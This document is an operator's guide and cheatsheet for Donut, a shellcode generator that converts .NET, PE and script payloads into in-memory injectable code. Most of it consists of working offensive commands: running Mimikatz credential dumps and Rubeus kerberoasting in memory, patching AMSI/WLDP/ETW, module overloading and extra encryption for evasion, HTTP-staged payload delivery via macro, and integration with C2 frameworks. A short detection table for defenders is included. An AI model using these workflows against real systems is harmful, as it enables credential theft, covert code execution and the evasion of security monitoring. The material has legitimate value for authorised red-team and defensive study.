Author: TheWover, Odzhan Repo: https://github.com/TheWover/donut Description: Position-independent shellcode generator — converts .NET assemblies, PE files, VBS/JS, and more into injectable shellcode License: BSD-3-Clause Current Version: v1.1
Overview
Donut is an open-source position-independent shellcode generator that converts Windows payloads — .NET assemblies (EXE/DLL), native PE files (EXE/DLL), VBScript, JScript — into raw shellcode that executes entirely from memory. No file hits disk on the target. The payload can be embedded directly in the shellcode (stageless) or retrieved from a remote HTTP staging server (staged).
Key capabilities:
- Generate x86, x64, or dual-mode (x86+amd64) shellcode
- Load .NET assemblies via the Unmanaged CLR Hosting API
- Execute native EXEs/DLLs with a custom PE loader
- Run VBScript/JScript files via the IActiveScript interface
- Encrypt the embedded module with Chaskey-128 CTR
- Patch AMSI, WLDP, and ETW before payload execution
- Compress payloads using aPLib, LZNT1, Xpress, or Xpress Huffman
- Randomise API hashes, strings, and AppDomain names per generation (entropy)
- Zero or overwrite PE headers of loaded modules in memory
- Store native PEs in
MEM_IMAGEmemory to masquerade as legitimate loaded modules - Output shellcode in binary, Base64, C, Ruby, Python, PowerShell, C#, or Hex
- Static/dynamic C libraries (Windows and Linux), plus a Python C extension
How It Works
.NET Assemblies (EXE/DLL)
Donut uses the Unmanaged CLR Hosting API to bootstrap the Common Language Runtime into the host process. A new isolated AppDomain is created, the assembly is loaded via AppDomain.Load_3, and the entry point (Program.Main for EXEs, a specified public static method for DLLs) is invoked with any supplied parameters.
Native EXE/DLL
A custom PE loader maps the binary into memory, processes the import table (including delayed imports), applies base relocations, patches exit-related API in the IAT (ExitProcess, exit, _exit, _cexit) to redirect to RtlExitUserThread so the host process stays alive, and optionally patches the command line stored in PEB.
Only PEs with relocation information (non-stripped) are supported. Cygwin binaries are unsupported.
VBScript / JScript
Scripts are executed using the IActiveScript COM interface with a stub ActiveScriptSite implementation. A subset of WScript methods (like Echo, Sleep) is supported to keep basic scripts functional.
Execution Flow (ASCII)
[Payload File]
|
v
[Donut Generator]
- Read & validate payload
- Build DONUT_MODULE (payload + metadata)
- Compress (optional)
- Encrypt with Chaskey-128-CTR
- Build DONUT_INSTANCE (config + encrypted module)
- Hash API strings with Maru (Speck64/Davies-Meyer)
- Assemble PIC loader stub + instance
- Emit loader.bin (or staged module file)
|
v
[loader.bin <PIC shellcode>]
|
v [Injected into target process]
|
v
[Loader Runtime]
1. Resolve VirtualAlloc / VirtualFree via PEB walk
2. Allocate RW memory, copy instance
3. Decrypt instance (Chaskey CTR)
4. Verify MAC (Maru hash of sig field)
5. Load required DLLs (ole32, oleaut32, wininet, mscoree, shell32...)
6. Resolve 48+ API addresses via Maru hash lookup
7. Fetch module from HTTP if staged
8. Decrypt and decompress module
9. Bypass AMSI / WLDP / ETW
10. Map & execute payload (CLR / PE / IActiveScript)
11. Erase instance from memory
12. Exit thread (or process, or block)
Architecture & Internals
Generator vs Loader Split
Donut has a clean two-component design:
| Component | Role |
|---|---|
Generator (donut.c, lib/donut.so|dll) |
Runs on the attacker machine. Reads payload, builds encrypted module and instance, assembles shellcode. |
Loader (loader/loader.c + sub-loaders) |
Position-independent C code embedded in the shellcode. Runs in the target process. Decrypts, loads, and executes the payload. |
The loader is a compiled C stub that is baked into the generator. When you run donut, the generator splices the instance (encrypted config + optional module) into the pre-compiled loader stub and writes out loader.bin.
Donut Instance
The Instance is the runtime configuration blob embedded in the shellcode. It contains:
- Maru IV (random per generation, used for API hash uniqueness)
- 64-bit hashes for ~48 API functions (resolved at runtime via PEB walk)
- DLL name list to load before resolving API (
ole32;oleaut32;wininet;mscoree;shell32) - AMSI / WLDP / ETW bypass strings and function names
- Staging URL and credentials (if HTTP staged)
- Encryption keys for the module
- The embedded DONUT_MODULE (if stageless)
The entire instance is encrypted before being embedded, so static analysis cannot read the configuration.
Donut Module
The Module is the wrapper around the actual payload file:
typedef struct _DONUT_MODULE {
int type; // EXE/DLL/JS/VBS
int thread; // run EXE entrypoint as thread?
int compress; // compression engine used
char runtime[DONUT_MAX_NAME]; // CLR runtime version
char domain[DONUT_MAX_NAME]; // AppDomain name
char cls[DONUT_MAX_NAME]; // class (for .NET DLL)
char method[DONUT_MAX_NAME]; // method or export
char param[DONUT_MAX_NAME]; // arguments
int unicode;
char sig[DONUT_SIG_LEN]; // random string for MAC verification
uint64_t mac; // Maru hash of sig
uint32_t zlen; // compressed size
uint32_t len; // original size
uint8_t data[4]; // payload bytes follow
} DONUT_MODULE;
If staged, the encrypted module is saved to disk (named randomly or via -n) and hosted on an HTTP server. The loader fetches it at runtime.
API Hashing (Maru)
Donut avoids storing API strings in the shellcode. Instead it uses Maru, a custom hash function built around the Speck 64-bit block cipher with a Davies-Meyer construction. The hash is 64-bit. A random IV is generated per Donut invocation and stored in the instance — this means the same API (LoadLibraryA) produces a different hash every time Donut generates shellcode, breaking static signature rules that key on the hash values.
At runtime the loader walks the PEB → _LDR_DATA_TABLE_ENTRY chain, hashes each export name with the IV, and matches against the stored hashes to resolve addresses.
Encryption (Chaskey CTR)
Chaskey is a lightweight 128-bit block cipher with 128-bit key support, used in Counter (CTR) mode. The key and nonce are randomly generated by the generator and embedded in the loader stub (unencrypted). The module and instance are encrypted with these keys. An adversary who finds the HTTP staging server cannot decrypt the module without the key that lives only inside the shellcode.
Master Key (128-bit random) + Counter/Nonce (128-bit random)
| |
+-----------> Chaskey-CTR <------+
|
Encrypted DONUT_MODULE / DONUT_INSTANCE
Installation
Kali Linux (Recommended for lab use)
sudo apt install donut-shellcode
# or
sudo apt install python-donut
From Source (Linux / MinGW)
git clone https://github.com/TheWover/donut.git
cd donut
# Linux (produces donut binary, donut.so, donut.a)
make
# Windows — MSVC (x64 Developer Command Prompt)
nmake -f Makefile.msvc
# Windows / Linux — MinGW-w64
make -f Makefile.mingw
Python Module
pip3 install donut-shellcode
# or from source
cd donut
pip3 install .
Docker
# Build
docker build -t donut .
# Run (mount current dir)
docker run -it --rm -v "${PWD}:/workdir" donut -h
# Generate shellcode via Docker
docker run -it --rm -v "${PWD}:/workdir" donut -i /workdir/payload.exe -o /workdir/loader.bin
CLI Usage & Flags
donut [options] -i <payload_file>
| Flag | Argument | Description |
|---|---|---|
-i / --input |
<file> |
Input payload file (EXE, DLL, VBS, JS, .NET assembly) |
-o / --output |
<path> |
Output loader path. Default: loader.bin |
-a / --arch |
<1\|2\|3> |
Architecture: 1=x86, 2=amd64, 3=x86+amd64 (default) |
-b / --bypass |
<1\|2\|3> |
AMSI/WLDP/ETW bypass: 1=None, 2=Abort on fail, 3=Continue on fail (default) |
-e / --entropy |
<1\|2\|3> |
1=None, 2=Random names only, 3=Random names + encryption (default) |
-f / --format |
<1-8> |
Output format (see Output Formats) |
-k / --headers |
<1\|2> |
PE header handling: 1=Overwrite (default), 2=Preserve all |
-j / --decoy |
<path> |
Decoy module path for Module Overloading |
-z / --compress |
<1-5> |
Compression engine (see Compression Options) |
-s / --server |
<url> |
HTTP staging server URL |
-n / --modname |
<name> |
Module filename on staging server (random if omitted) |
-c / --class |
<name> |
.NET class name (required for .NET DLL); supports namespace.class |
-m / --method |
<name> |
.NET method or unmanaged DLL export name |
-p / --params |
<"args"> |
Parameters/command line (quoted string) |
-r / --runtime |
<version> |
CLR runtime version; e.g. v4.0.30319. Auto-detected from PE if omitted. |
-d / --domain |
<name> |
AppDomain name for .NET. Randomised if entropy is enabled. |
-t |
Run native EXE entrypoint as a thread (prevents host crash on exit) | |
-w |
Pass params to unmanaged DLL in UNICODE (default is ANSI) | |
-x / --exit |
<1\|2\|3> |
Exit behaviour: 1=Exit thread (default), 2=Exit process, 3=Block indefinitely |
-y |
<hex_offset> |
After loader finishes, create a thread at host_exe_base + offset (resume host execution) |
Payload Types & Requirements
.NET Assembly (EXE)
donut -i SharpKatz.exe -a 2 -o loader.bin
donut -i Rubeus.exe -p "kerberoast /nowrap" -a 2
Requirements:
- Entry point (Main) must be public static and accept only string[] or no parameters
- Must not be a Mixed Assembly (managed + native code)
- Must not contain Unmanaged Exports
.NET Assembly (DLL)
donut -i SafetyKatz.dll -c SafetyKatz -m Main -a 2
Requirements:
- -c (class, with optional namespace) and -m (method) are required
- The specified class must be public
- The method must be public static
Native EXE
donut -i mimikatz.exe -p "lsadump::sam exit" -t -a 2
Requirements:
- Must contain relocation information (/FIXED:NO at link time)
- Cygwin binaries are not supported
- Use -t to run entrypoint as a thread and prevent ExitProcess from killing the host
Native DLL
donut -i payload.dll -m RunShellcode -p "arg1 arg2" -a 2
Requirements: - Export entry point must accept a single string argument or no arguments
VBScript / JScript
donut -i payload.vbs -a 2
donut -i payload.js -a 2
Output Formats
-f value |
Format | Use case |
|---|---|---|
1 |
Binary (default) | Raw bytes — pass to injector directly |
2 |
Base64 | Inline in scripts; Windows also copies to clipboard |
3 |
C | Embed in C/C++ source as unsigned char buf[] |
4 |
Ruby | Metasploit modules |
5 |
Python | Python injectors |
6 |
PowerShell | One-liners; inject via [System.Runtime.InteropServices.Marshal] |
7 |
C# | .NET injectors, e.g. DonutTest |
8 |
Hexadecimal | Manual inspection / scripting |
Bypass System (AMSI / WLDP / ETW)
How It Works
Donut ships a modular bypass system. Each bypass is an isolated #if defined block in loader/bypass.c. Only the bypass selected at compile time is included in the loader — unused blocks are never present in the shellcode, reducing signature footprint.
Three bypass targets are supported:
| Target | Function patched | Effect |
|---|---|---|
| AMSI | amsi.dll!AmsiScanBuffer, AmsiScanString |
Functions overwritten with a stub that returns AMSI_RESULT_CLEAN |
| WLDP | wldp.dll!WldpQueryDynamicCodeTrust, WldpIsClassInApprovedList |
Bypasses Device Guard / Windows Lockdown Policy |
| ETW | ntdll.dll!EtwEventWrite |
Patched to ret immediately, suppressing ETW assembly load events |
Bypass Levels (-b)
-b 1 No bypass attempted
-b 2 Bypass attempted; abort if it fails
-b 3 Bypass attempted; continue execution even if it fails (default)
Writing a Custom Bypass
Add a new #if defined(BYPASS_AMSI_X) block in loader/bypass.c implementing:
BOOL DisableAMSI(PDONUT_INSTANCE inst) { ... }
Then rebuild with the define set:
make -f Makefile.mingw BYPASS_AMSI=BYPASS_AMSI_X
The same pattern applies to WLDP (DisableWLDP) and ETW.
Staging Modes
Stageless (Embedded / Default)
The entire payload is compressed, encrypted, and embedded directly inside the shellcode blob. Larger output, but self-contained — no external dependency at execution time.
donut -i beacon.exe -a 2 -o loader.bin
# instance type: Embedded
Staged (HTTP)
The payload module is stored on a remote HTTP server. The shellcode only contains the loader + instance config with the URL. At runtime the loader fetches, decrypts, and executes the module.
donut -i beacon.exe -s https://192.168.1.10/modules/ -a 2 -o loader.bin
# Saves:
# loader.bin <- inject this into target
# <random_name> <- upload this to your HTTP server
With credentials:
donut -i beacon.exe -s https://user:pass@192.168.1.10/modules/ -a 2
OPSEC Note: The module on the staging server is encrypted with Chaskey. An adversary who captures it from the server cannot decrypt it without the key embedded in the loader. Still, TLS your staging server.
PE Header Handling & Module Overloading
Header Overwriting (-k 1, default)
By default, Donut zeroes out the PE headers of native EXE/DLLs after mapping them into memory. This defeats detections that compare the in-memory headers of modules against their on-disk backing files.
Preserve Headers (-k 2)
Keeps the original PE headers intact. Required if the payload reads its own headers (e.g., to access embedded PE resources).
Module Overloading (-j <decoy_dll>)
Instead of zeroing PE headers, Donut copies the PE headers of a legitimate decoy DLL over the headers of the payload. The memory view then looks like the decoy is loaded, rather than revealing the payload identity.
donut -i beacon.dll -j C:\Windows\System32\amsi.dll -a 2 -o loader.bin
The payload is stored in
MEM_IMAGEmemory (rather thanMEM_PRIVATE) when using module overloading, further mimicking a legitimately loaded module.
Compression Options
-z value |
Engine | Notes |
|---|---|---|
1 |
None (default) | No compression |
2 |
aPLib | Cross-platform; available on Linux and Windows |
3 |
LZNT1 | Windows only — uses RtlCompressBuffer |
4 |
Xpress | Windows only |
5 |
Xpress Huffman | Windows only; best ratio on most PE payloads |
Example with Xpress Huffman (mimikatz shrinks ~53%):
donut -i mimikatz.exe -p "lsadump::sam exit" -t -z 5 -a 2
Python API
Install
pip3 install donut-shellcode
Minimal Usage
import donut
shellcode = donut.create(file="beacon.exe")
with open("loader.bin", "wb") as f:
f.write(shellcode)
Full Parameter Reference
shellcode = donut.create(
file = 'payload.exe', # Required: path to EXE/DLL/VBS/JS/.NET assembly
url = 'http://10.10.10.1/mods/', # Staging server URL (omit for embedded)
arch = 3, # 1=x86, 2=amd64, 3=x86+amd64 (default)
bypass = 3, # 1=None, 2=Abort, 3=Continue (default)
compress= 2, # 1=None, 2=aPLib, 3=LZNT1, 4=Xpress, 5=XpressHuff
entropy = 3, # 1=None, 2=Random names, 3=Names+Encryption (default)
format = 1, # 1=Binary, 2=Base64, 3=C, 4=Ruby, 5=Python, 6=PS1, 7=CS, 8=Hex
exit_opt= 1, # 1=Exit thread, 2=Exit process, 3=Block
thread = 1, # Run EXE entrypoint as thread
cls = 'Namespace.Class', # .NET class (required for .NET DLL)
method = 'Execute', # .NET method or DLL export
params = 'arg1 arg2', # Parameters / command line
runtime = 'v4.0.30319', # CLR runtime version (auto-detected if omitted)
appdomain = 'RandomDomain', # AppDomain name (random if entropy enabled)
output = 'loader.bin', # Output path
)
Dynamic Shellcode Generation Script
import donut, subprocess, sys
def generate_and_inject(payload_path, target_pid):
sc = donut.create(
file = payload_path,
arch = 2, # x64
bypass = 3,
entropy = 3,
compress= 2,
exit_opt= 1,
thread = 1,
)
sc_path = "/tmp/loader.bin"
with open(sc_path, "wb") as f:
f.write(sc)
print(f"[+] Shellcode: {len(sc)} bytes -> {sc_path}")
# pass sc_path to your injector of choice
C Library API
Three functions are exported from donut.dll / donut.so:
int DonutCreate(PDONUT_CONFIG c); // Generate shellcode
int DonutDelete(PDONUT_CONFIG c); // Free resources
const char* DonutError(int error); // Error description
Minimal C Example
#include "donut.h"
#include <string.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
DONUT_CONFIG c;
memset(&c, 0, sizeof(c));
// input file
lstrcpyn(c.input, argv[1], DONUT_MAX_NAME - 1);
// options
c.inst_type = DONUT_INSTANCE_EMBED; // stageless
c.arch = DONUT_ARCH_X84; // dual x86+amd64
c.bypass = DONUT_BYPASS_CONTINUE;
c.format = DONUT_FORMAT_BINARY;
c.compress = DONUT_COMPRESS_NONE;
c.entropy = DONUT_ENTROPY_DEFAULT; // randomise + encrypt
c.exit_opt = DONUT_OPT_EXIT_THREAD;
c.thread = 1;
int err = DonutCreate(&c);
if (err != DONUT_ERROR_SUCCESS) {
printf("Error: %s\n", DonutError(err));
return 1;
}
printf("[+] Shellcode: %d bytes -> %s\n", c.pic_len, c.output);
DonutDelete(&c);
return 0;
}
DONUT_CONFIG Key Fields
| Field | Description |
|---|---|
c.input |
Path to payload file |
c.output |
Path for output shellcode (default loader.bin) |
c.arch |
DONUT_ARCH_X86 / _X64 / _X84 |
c.bypass |
DONUT_BYPASS_NONE / _ABORT / _CONTINUE |
c.entropy |
DONUT_ENTROPY_NONE / _RANDOM / _DEFAULT |
c.format |
DONUT_FORMAT_BINARY / _BASE64 / _C / _RUBY / _PYTHON / _POWERSHELL / _CSHARP / _HEX |
c.compress |
DONUT_COMPRESS_NONE / _APLIB / _LZNT1 / _XPRESS / _XPRESS_HUFF |
c.exit_opt |
DONUT_OPT_EXIT_THREAD / _PROCESS / _BLOCK |
c.thread |
1 = run native EXE entrypoint as thread |
c.inst_type |
DONUT_INSTANCE_EMBED (stageless) or DONUT_INSTANCE_HTTP (staged) |
c.server |
Staging server URL |
c.cls |
.NET class name |
c.method |
.NET method or DLL export |
c.param |
Command line / parameters |
c.runtime |
CLR version string |
c.pic |
Pointer to generated shellcode (set by DonutCreate) |
c.pic_len |
Length of shellcode |
Alternate Generators
| Language | Repo | Notes |
|---|---|---|
| Go | https://github.com/Binject/go-donut | Full port; good for custom tooling |
| C# | https://github.com/n1xbyte/donutCS | Windows-only |
| Python | pip3 install donut-shellcode |
C extension wrapping libdonut |
Subprojects & Support Tools
| Tool | Description |
|---|---|
DemoCreateProcess |
Sample .NET assembly for testing; takes two process names to spawn |
DonutTest |
Simple C# shellcode injector for testing; takes Base64-encoded shellcode as a string |
ModuleMonitor |
PoC detector for CLR injection (similar to how Cobalt Strike's execute-assembly works) |
ProcessManager |
Enumerates processes and shows which have the CLR loaded — helps choose injection targets |
inject.exe |
Simple injector; injects loader.bin into a remote PID or process name |
inject_local.exe |
Self-injection tester; injects loader.bin into itself |
Build support tools separately:
# MSVC
nmake inject_local -f Makefile.msvc
nmake inject -f Makefile.msvc
Common Red Team Workflows
1. Execute-Assembly Style (.NET EXE via Shellcode)
Convert a .NET tool to shellcode and inject into a sacrificial process:
# Generate shellcode
donut -i Rubeus.exe -p "kerberoast /nowrap" -a 2 -e 3 -z 2 -o rubeus.bin
# Inject with your favourite injector (e.g. a C# loader, Havoc BOF, etc.)
2. Spawn-and-Inject C2 Agent
# Convert C2 implant DLL to shellcode
donut -i beacon.dll -a 2 -e 3 -z 2 -b 3 -o beacon_sc.bin
# Use with process injection technique of choice
3. Staged Delivery
# Generate with HTTP staging
donut -i agent.exe -s https://teamserver.lab/mods/ -a 2 -e 3 -b 3 -o loader.bin
# Host the module file on teamserver (the random-named file donut saves alongside loader.bin)
python3 -m http.server 443 --directory /tmp/mods/
# Deliver loader.bin via macro / shellcode loader
4. Mimikatz in Memory
donut -i mimikatz.exe -p "sekurlsa::logonpasswords exit" -t -z 5 -a 2 -o mimi.bin
5. Module Overloading — Stealth PE Load
donut -i implant.dll \
-j C:\Windows\System32\wbem\wbemdisp.dll \
-a 2 -e 3 -b 3 \
-o loader.bin
6. PowerShell One-Liner Delivery
# Generate as PowerShell
donut -i payload.exe -a 2 -f 6 -o sc.ps1
# sc.ps1 contains:
# $sc = [Convert]::FromBase64String("...")
# $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
# ... inject and execute
C2 Integration
Havoc C2 (Python plugin)
A community plugin (havoc-donut) integrates Donut directly into Havoc's agent command interface. Requires the Python donut-shellcode module installed on the Havoc server.
# In a Havoc listener window:
donut spawn implant.exe arg1 arg2
Mythic C2
Use the Python API to dynamically generate shellcode server-side as part of a custom tasking:
import donut
def generate_shellcode(payload_path, arch=2):
return donut.create(
file=payload_path,
arch=arch,
bypass=3,
entropy=3,
compress=2,
exit_opt=1,
thread=1,
)
Sliver C2
Donut output (binary) is compatible with Sliver's shellcode execution BOFs or execute-shellcode command. Generate your shellcode externally and pass the .bin file.
Metasploit
Use the Ruby-format output (-f 4) or binary and wrap in a custom stager or payload module.
OPSEC & Detection Notes
Detection Vectors (Defenders Perspective)
| Signal | What's Observable |
|---|---|
| RWX Memory | VirtualAlloc(MEM_COMMIT, PAGE_EXECUTE_READWRITE) — unusual for most processes |
| Unbacked Memory Execution | Thread start address in MEM_PRIVATE allocation with no file backing |
| CLR in Unexpected Process | mscoree.dll loaded into notepad.exe, explorer.exe, etc. |
| ETW Assembly Load | Without bypass: Microsoft-Windows-DotNETRuntime events reveal assembly name |
| AMSI Hook Patches | Memory write to amsi.dll!AmsiScanBuffer from an RWX region |
| Module Overload Mismatch | Headers in memory don't match file on disk (before header wipe) |
| Known Donut Signatures | Chaskey cipher constants, Maru constants, specific byte sequences in older builds |
OPSEC Hardening Options
# Maximum entropy + encryption + compression + module overloading
donut -i payload.exe \
-a 2 \
-b 3 \ # continue even if AMSI/WLDP/ETW bypass fails
-e 3 \ # random names + Chaskey encryption
-z 2 \ # aPLib compression (cross-platform)
-k 1 \ # zero PE headers (default)
-j decoy.dll \ # module overloading
-t \ # run entrypoint as thread
-x 1 \ # exit thread when done
-o loader.bin
Post-Generation Hardening (External)
- Encrypt loader.bin again with a custom XOR/RC4/AES before embedding in your loader stub — Donut's encryption covers the module, not necessarily the outer shellcode header.
- Custom bypass: Replace the default AMSI/ETW patch with your own implementation at
loader/bypass.c. - Polymorphic re-generation: Re-run Donut for each operation — each generation produces a unique Chaskey key, Maru IV, and AppDomain name.
- go-donut: The Go port produces slightly different output and may have different signature surface.
Extending the Loader
Add a New API
- Declare a function pointer in
loader/winapi.h:
typedef BOOL (WINAPI *VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
- Add an entry to
api_importsindonut.c:
{KERNEL32_DLL, "VirtualProtect"},
-
Add the pointer to
DONUT_INSTANCE.apiunion ininclude/donut.hin the same position as step 2. -
Call it in the loader:
inst->api.VirtualProtect(addr, size, PAGE_EXECUTE_READ, &old);
Add a New DLL
If your new API is in a DLL not already in the load list, add it to:
#define DLL_NAMES "ole32;oleaut32;wininet;mscoree;shell32;dnsapi;yourlib"
Debug Build
# MSVC
nmake debug -f Makefile.msvc
# MinGW
make debug -f Makefile.mingw
# Run against an instance file
loader instance
Debug output traces every step: API hash resolution, memory allocation, AMSI/WLDP patching, decompression, and payload invocation.
Cheatsheet
# Minimal — .NET EXE, dual-arch, default settings
donut -i Tool.exe
# .NET EXE with arguments
donut -i Rubeus.exe -p "kerberoast /nowrap" -a 2
# .NET DLL (class + method required)
donut -i SafetyKatz.dll -c SafetyKatz -m Main -a 2
# Native EXE (run as thread, Xpress Huffman compression)
donut -i mimikatz.exe -p "lsadump::sam exit" -t -z 5 -a 2
# Native DLL with export and args
donut -i payload.dll -m RunShellcode -p "beacon" -a 2
# VBScript / JScript
donut -i payload.vbs -a 2
donut -i runner.js -a 2
# HTTP staging
donut -i agent.exe -s https://10.10.10.1/mods/ -a 2
# Module Overloading (stealth headers)
donut -i implant.dll -j C:\Windows\System32\amsi.dll -a 2
# Max OPSEC — encryption + compression + module overload + thread exit
donut -i implant.exe -a 2 -e 3 -b 3 -z 2 -j decoy.dll -t -x 1
# Output formats
donut -i payload.exe -f 2 # Base64
donut -i payload.exe -f 3 # C array
donut -i payload.exe -f 6 # PowerShell
donut -i payload.exe -f 7 # C#
donut -i payload.exe -f 8 # Hex
# Preserve PE headers (payload reads own resources)
donut -i payload.dll -k 2
# Block after execution (don't exit thread)
donut -i payload.exe -x 3
# Python API — minimal
python3 -c "import donut; open('x.bin','wb').write(donut.create(file='payload.exe',arch=2))"
# Docker
docker run -it --rm -v "\${PWD}:/workdir" donut -i /workdir/payload.exe -a 2 -o /workdir/loader.bin
MITRE ATT&CK Mapping
| Technique | ID | Notes |
|---|---|---|
| Process Injection | T1055 | Donut generates shellcode intended for injection into target processes |
| Portable Executable Injection | T1055.002 | Native EXE/DLL loaded in-memory via custom PE loader |
| Dynamic-link Library Injection | T1055.001 | DLL payloads can be shellcode-wrapped and injected |
| Process Hollowing | T1055.012 | Compatible with hollowing — Donut shellcode runs inside hollowed process |
| Reflective Code Loading | T1620 | Core Donut concept — assembly loaded from memory without writing to disk |
| .NET CLR Injection | T1055.013 | Hosts CLR in arbitrary process via Unmanaged CLR Hosting API |
| Obfuscated Files or Information | T1027 | Chaskey encryption + entropy + compression of payload module |
| Deobfuscate/Decode Files or Information | T1140 | Loader decrypts/decompresses module at runtime |
| Impair Defenses: Disable or Modify Tools | T1562.001 | AMSI / WLDP / ETW patching by default |
| Native API | T1106 | Loader resolves and calls native API via PEB walk, avoiding IAT |
| Indicator Removal: Clear Windows Event Logs | T1070.001 | ETW bypass suppresses assembly load telemetry |
References - https://github.com/TheWover/donut - https://thewover.github.io/Introducing-Donut/ - https://thewover.github.io/Bear-Claw/ - https://thewover.github.io/Cruller/ - https://github.com/TheWover/donut/blob/master/docs/devnotes.md - https://github.com/TheWover/donut/blob/master/docs/2019-08-21-Python_Extension.md - https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/ - https://modexp.wordpress.com/2019/06/24/inmem-exec-dll/ - https://blog.xpnsec.com/hiding-your-dotnet-etw/